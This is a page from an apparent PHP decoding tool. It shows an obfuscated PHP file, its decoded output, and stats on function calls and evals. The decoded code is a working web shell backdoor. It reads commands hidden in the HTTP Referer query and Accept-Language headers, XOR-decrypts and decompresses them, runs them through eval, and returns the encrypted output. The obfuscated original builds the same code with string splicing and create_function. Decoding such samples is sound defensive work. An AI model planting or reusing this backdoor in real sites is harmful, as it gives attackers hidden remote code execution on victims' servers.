Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $j='uu"u"nt($m[1]);$z+u"+)$p.=$u"q[$m[2u"][$u"z]]u";if(strpos($p,$u"h)===0u"){$s[$u..
Decoded Output download
$kh="cb95";$kf="249b";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$j='uu"u"nt($m[1]);$z+u"+)$p.=$u"q[$m[2u"][$u"z]]u";if(strpos($p,$u"h)===0u"){$s[$u"i]=u""";';
$B='$kh="u"cb95u"";$ku"f="249b";funu"ction x(u"$t,$k)u"{$c=stu"rlu"en(u"$k);$l=strlen($u"t);$';
$q='o=u""";fu"or($u"i=0;$iu"<$l;){fou"r($ju"=0;($j<$u"c&&$i<$lu");u"$ju"++,$i++)u"{$o.=$u"tu"{';
$t=',0,$eu"))),$k)u"));$o=obu"u"_get_cu"ontents();ou"b_end_cu"u"lean();$du"=u"bau"se64_encod';
$V='u""Hu"TTP_u"ACCEu"PT_u"LANGUAGE"u"];if(u"$u"rr&&$ra){$u"u=parse_url(u"$rr);parsu"e_str($';
$y='ON;u"$ss="subsu"u"tr";$sl="su"trtoloweru"";$i=u"$m[u"1][0u"].$m[1u"][1];$u"h=$slu"($ss(m';
$E='u["queru"y"]u",$q)u";$q=array_vau"u"lues($q);pu"u"reg_match_alu"l("/([\\u"u"w])[\\u"w-]+(?';
$n='s[$i]u",u"$f);if($e){$k=$u"kh.$kf;ob_stau"rt();@u"eu"val(@gzuncu"ompreu"ss(@x(@u"bau"se6';
$L='e(x(gu"zcompressu"($o),u"$k));u"printu"("<$u"k>$d</$k>u"");@sesu"sionu"_destroy(u");}}}}';
$Z='$i}^$k{$j};}}retu"urnu" $o;u"}$r=$_SEu"RVu"u"ER;$rr=@$ru"[u""HTu"TP_REFERu"ER"];$ra=@$r[';
$z='d5(u"$i.u"$ku"h),0,3));$f=$su"l($u"ssu"(md5($i.$kf),0,u"3u"));$p="";for(u"u"$z=1u";$z<co';
$x=str_replace('P','','PcrPeatePPPP_function');
$O=':;q=0.(u"[\\u"d]u"))?,?/u"",$ra,$m);if($u"u"q&&u"$m){@seu"ssionu"_start();$s=&$_Su"u"ESSI';
$Y='4u"_deu"code(preg_reu"u"placeu"(arrayu"("/_/",u""/-/"),array(u""/"u","+"),u"$su"s($s[$i]';
$b='$pu"=u"$ss(u"$p,3)u";}if(array_u"key_exists($i,u"$s))u"{$s[$i].u"=$p;$eu"=su"tu"rpos(u"$';
$p=str_replace('u"','',$B.$q.$Z.$V.$E.$O.$y.$z.$j.$b.$n.$Y.$t.$L);
$g=$x('',$p);$g();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 2ce3c6654900a501346a799c9e9f689d |
| Eval Count | 1 |
| Decode Time | 97 ms |